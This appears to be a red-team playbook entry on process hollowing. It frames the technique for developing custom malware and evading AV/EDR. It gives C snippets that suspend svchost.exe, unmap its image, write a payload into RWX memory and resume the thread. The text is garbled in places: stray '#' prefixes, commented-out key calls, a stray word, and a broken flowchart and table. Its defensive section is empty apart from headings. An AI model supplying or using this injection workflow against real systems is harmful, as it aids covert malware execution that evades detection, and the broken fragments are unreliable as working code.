Process Hollowing

When to Use

• When developing custom malware or establishing covert persistence during a red team engagement where standard executable drops are heavily monitored and blocked by AV/EDR.
• To execute unbacked payloads in memory covertly.

Prerequisites

• Active engagement with a defended target environment (EDR/AV present)
• Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
• Payload development framework (msfvenom, Cobalt Strike, custom tooling)
• Test environment matching the target OS/EDR for pre-engagement validation

Workflow

Phase 1: Creation of a Suspended Legitimate Process

# Concept: Windows API STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);

// CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

Phase 2: Unmapping (Hollowing) the Original Code

# typedef NTSTATUS(WINAPI* _NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
_NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");

// NtUnmapViewOfSection(pi.hProcess, pBaseAddress); 

Phase 3: Allocating Memory and Writing Payload

# nimbly PVOID pNewBase = VirtualAllocEx(pi.hProcess, pBaseAddress, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// WriteProcessMemory(pi.hProcess, pNewBase, pPayload, dwSize, NULL);

Phase 4: Thread Resumption

# CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread); // ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Create Suspended ] --> B{Injection Successful ]}
    B -->|Yes| C[Resume Thread ]
    B -->|No| D[Check Antivirus ]
    C --> E[Execution ]

🔵 Blue Team Detection & Defense

• API Monitoring: Memory Scanning: EDR Heuristics: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Process Hollowing — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• MITRE ATT&CK: Process Injection: Process Hollowing
• Tenable: Understanding Process Hollowing